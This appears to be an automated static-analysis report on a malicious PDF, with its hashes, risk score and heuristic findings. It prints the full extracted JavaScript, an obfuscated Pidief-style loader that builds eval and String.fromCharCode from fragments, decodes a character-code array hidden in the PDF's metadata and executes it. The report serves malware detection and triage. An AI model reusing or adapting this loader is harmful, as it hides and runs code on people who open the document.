Malicious PDF — malware analysis report

Static analysis result for SHA-256 bc9d0897c63ff3ef…

MALICIOUS

PDF

44.5 KB Authoring application: substr First seen: 2026-05-08
MD5: 5f621bcbf5bdfb4dbcdcd8200f25ee43 SHA-1: 6e09388f8708b508e77ec55839edeb72b64683c5 SHA-256: bc9d0897c63ff3ef618bf4524cdb39fabbab9a0e4f138a329469d5ab1d8df129
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF41 440 bytes
SHA-256: 6a89c6a29603bed6cb86e90d6781794692392c0f5df85495e8d4eccdd050f6a9
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
sgv=e('ti'.concat(v[4],t));
q=sgv[v](a.length-6,a.length+2);
tcg=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=sgv[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	zphi = 1*(q[i]);
	i++;
	zphi -= (-1)*(q[i]);
	s2 = s2.concat(tcg(zphi));
	i++;
}
e(s2);

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